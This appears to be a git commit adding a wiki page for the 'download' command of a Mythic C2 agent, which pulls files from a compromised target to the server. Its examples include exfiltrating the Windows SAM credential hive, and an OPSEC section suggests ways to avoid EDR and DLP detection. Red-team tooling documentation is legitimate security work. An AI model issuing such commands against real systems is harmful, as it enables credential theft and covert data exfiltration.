wiki created

2025-11-06 12:23:49 +01:00
parent 6cd3511962
commit 2fe9fa8254
60 changed files with 5012 additions and 142 deletions
@@ -0,0 +1,59 @@
+# download - Download File from Target
+
+Download a file from the target system to the Mythic server.
+
+## Description
+
+The `download` command downloads a file from the target system to the Mythic server. Files are transferred in 512KB chunks for efficient transmission. Supports files up to 2GB in size.
+
+## Syntax
+
+```
+download <file_path>
+```
+
+## Parameters
+
+- `file_path` (required): Path to the file to download. Supports both absolute and relative paths.
+
+## Examples
+
+```
+download C:\Users\Administrator\Desktop\important.txt
+download C:\Windows\System32\config\sam
+download report.pdf
+```
+
+## Features
+
+- Supports files up to 2GB in size
+- Files are transferred in 512KB chunks for efficient transmission
+- Supports both absolute and relative paths (relative paths are resolved using the current working directory)
+- Compatible with Mythic File Browser for interactive file selection
+- Large files or sensitive files may trigger detection by EDR/XDR solutions and data loss prevention (DLP) systems
+
+## Output
+
+```
+[download] Starting download: C:\Users\important.txt (1024000 bytes)
+[download] Chunk 1/2 downloaded: 512000 bytes
+[download] Chunk 2/2 downloaded: 512000 bytes
+[download] Download complete: C:\Users\important.txt
+```
+
+## OPSEC Considerations
+
+- File reads are logged by EDR/XDR solutions
+- Large downloads generate network traffic and may trigger alerts
+- Downloading sensitive files (SAM, config files) may trigger DLP systems
+- Consider using smaller chunk sizes or splitting large files
+
+## Related
+
+[File Downloads Support](../../../features.md#file-downloads-support)
+
+---
+
+**Command Category:** File System  
+**Requires Admin:** No  
+**MITRE ATT&CK:** [T1105 - Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105/)